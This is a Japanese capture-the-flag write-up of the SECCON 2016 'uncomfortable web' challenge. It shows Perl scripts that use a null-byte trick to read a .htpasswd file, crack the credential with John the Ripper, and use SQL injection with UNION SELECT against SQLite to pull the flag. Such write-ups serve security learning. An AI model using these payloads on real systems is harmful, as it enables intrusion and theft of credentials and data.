uncomfortable web(Web, 300pts)
Attack to http://127.0.0.1:81/authed/ through the uploaded script
Get the flag in the database!
自作のスクリプトファイルをアップロードすると、リモートサーバ上で実行できます。
リモートサーバ内にある http://127.0.0.1:81/
へアタックし、flagを探す問題です。
Shell, Perl, Python が選択でき、今回は Perl を使用しました。
サンプルスクリプト
http://127.0.0.1:81/
にリクエストを送信するサンプルが配布されていました。
そのままアップロードして実行してみます。
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://127.0.0.1:81/');
my $res = $ua->request($req);
print $res->content;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08 </td><td align="right">612 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>
出力されたHTMLをブラウザに読み込ませるとこうなります。
/authed にアクセス
はじめに、authed
ディレクトリにアクセスを試みました。
#!/usr/bin/perl
use LWP::UserAgent;
use DBI;
my $ua = LWP::UserAgent->new;
my $url = 'http://127.0.0.1:81/authed/';
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
print $res->content;
401で弾かれてしまいます。BASIC認証を通す必要がありそうです。
select.cgi にアクセス
ファイル select.cgi
にアクセスすると、a, b のドロップダウンが出てきました。
# 変更部分以外のソースは省略します。
$url = 'http://127.0.0.1:81/select.cgi';
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>
select.cgi?txt=a にアクセス
a
を選択した際のURLにアクセスすると、テキストファイルのようなものが表示されました。
$url = 'http://127.0.0.1:81/select.cgi?txt=a';
select.cgi?txt=b にアクセス
b
を選択した際のURLにアクセスすると、同じくテキストファイルのようなものが表示されました。
$url = 'http://127.0.0.1:81/select.cgi?txt=b';
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
</body></html>
select.cgi?txt=c にアクセス
a
b
と来ると、自然と c
も試したくなるのでアクセスしてみます。
こちらも同じく、何やらテキストが表示されました。
$url = 'http://127.0.0.1:81/select.cgi?txt=c';
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
---<br>
Do you want to enter authed/ directory?<br>
---<br>
</body></html>
select.cgi の動作について
select.cgi
のこれまでの動作をまとめてみます。
パラメータ | 表示されたテキスト |
---|---|
txt=a | authed/a.txt |
txt=b | authed/b.txt |
txt=c | authed/c.txt (?) |
パラメータ txt=XXXXX
を渡すことで、authed/XXXXX.txt
を開けることが推測できます。
authedディレクトリのBASIC認証情報を取得
BASIC認証に使用される .htpasswd
と呼ばれるファイルを探してみます。
URLを次のように指定することで authed/.htpasswd
を読み込むことができました。
$url = 'http://127.0.0.1:81/select.cgi?txt=.htpasswd%00';
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>
末尾を %00
とすることで、終端文字 \0
と認識させています。
終端文字を利用すると、末尾に付加される .txt
を無視させることが可能です。
パラメータ | 開くファイル名 |
---|---|
txt=a | authed/a.txt |
txt=.htpasswd | authed/.htpasswd.txt |
txt=.htpasswd%00 | authed/.htpasswd |
.htpasswd を解析
取得できた keigo:LdnoMJCeVy.SE
を解析します。
John the Ripper を使用すると、ユーザ名 keigo
、パスワード test
であることが判明しました。
> john.exe htpasswd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
test (keigo)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 230500 trying: orange - horses
Use the "--show" option to display all of the cracked passwords reliably
authed ディレクトリにアクセス
BASIC認証の情報を入手できたため、再度 authed
ディレクトリにアクセスを試みます。
(前略)
$url = "http://127.0.0.1:81/authed/";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
(後略)
直下に sqlinj
ディレクトリがあるようです。
auhted/sqlinj ディレクトリにアクセス
authed/sqlinj
ディレクトリにアクセスしてみます。
# 変更部分以外のソースは省略します。
$url = "http://127.0.0.1:81/authed/sqlinj/";
1.cgi
~ 100.cgi
まで同一サイズのファイルが格納されていました。なぜ100個も……。
authed/sqlinj/1.cgi にアクセス
authed/sqlinj/1.cgi
にアクセスすると、?no=4822267938
へのリンクが現れました。
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi";
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>
authed/sqlinj/1.cgi?no=4822267938 にアクセス
先ほどの no
パラメータを付加してアクセスすると、ISBNコード等が表示されました。
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938";
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>
ISBNコード=書籍 ですので、Amazonで検索してみます。……どうやら宣伝(?)のようです。
http://amazon.jp/dp/4822267938 → 絶対わかるセスペ27秋 2016年春版
SQLインジェクションを試みる
Get the flag in the database!
出題文を振り返ると、flagはデータベース内にあるようです。
先ほどのISBN情報がDBで管理されていると仮定し、SQLインジェクションを試しました。
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=123' OR 1=1 --";
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>
失敗のようです。パラメータを指定しなかった場合と同一のHTMLが返ってきました。
100個のCGIに対して攻撃を試みる
同ディレクトリ内に存在する100個のCGIに対して、同じリクエストを投げてみました。
for ($i = 1; $i <= 100; $i++){
print "--- $i ---\n";
$url = "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=123' OR 1=1 --";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
$res = $ua->request($req);
print $res->content . "\n\n";
}
--- 72 ---
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267865<br>
ISBN-13: 978-4822267865<br>
PUBLISH: 2015/2/20<p>
ISBN-10: 4822267911<br>
ISBN-13: 978-4822267919<br>
PUBLISH: 2015/8/27<p>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>
http://127.0.0.1:81/authed/sqlinj/72.cgi
のみ、テーブル内の全レコードを返してきました。
私のSQLインジェクション力が不足していたため、以後の手順は、他の方の解法を参考にしつつ解き進めた内容となっています。
72.cgi を利用してDB内を探索
SQLiteと仮定した場合、sqlite_master
からDB内のテーブル一覧を入手することが可能です。
出力されるカラムが3つ (ISBN-10
, ISBN-13
, PUBLISH
) のため、カラム数を揃えた上で UNION
を使用して sqlite_master
を参照します。
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT name, sql, 0 FROM sqlite_master --";
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: books<br>
ISBN-13: CREATE TABLE books (isbn10,isbn13,date)<br>
PUBLISH: 0<p>
ISBN-10: f1ags<br>
ISBN-13: CREATE TABLE f1ags (f1ag)<br>
PUBLISH: 0<p>
</body></html>
books
テーブルと f1ags
テーブルが存在していることが判明しました。
flagを取得
先ほど判明した f1ags
テーブルの f1ag
カラムを取得します。
カラム数を揃えることを忘れずに。
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT f1ag, 0, 0 FROM f1ags --";
<html>
<head>
<title>SECCON 2016 Online</title>
<!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br>
ISBN-13: 0<br>
PUBLISH: 0<p>
</body></html>
SECCON{I want to eventually make a CGC web edition... someday...}
以上です。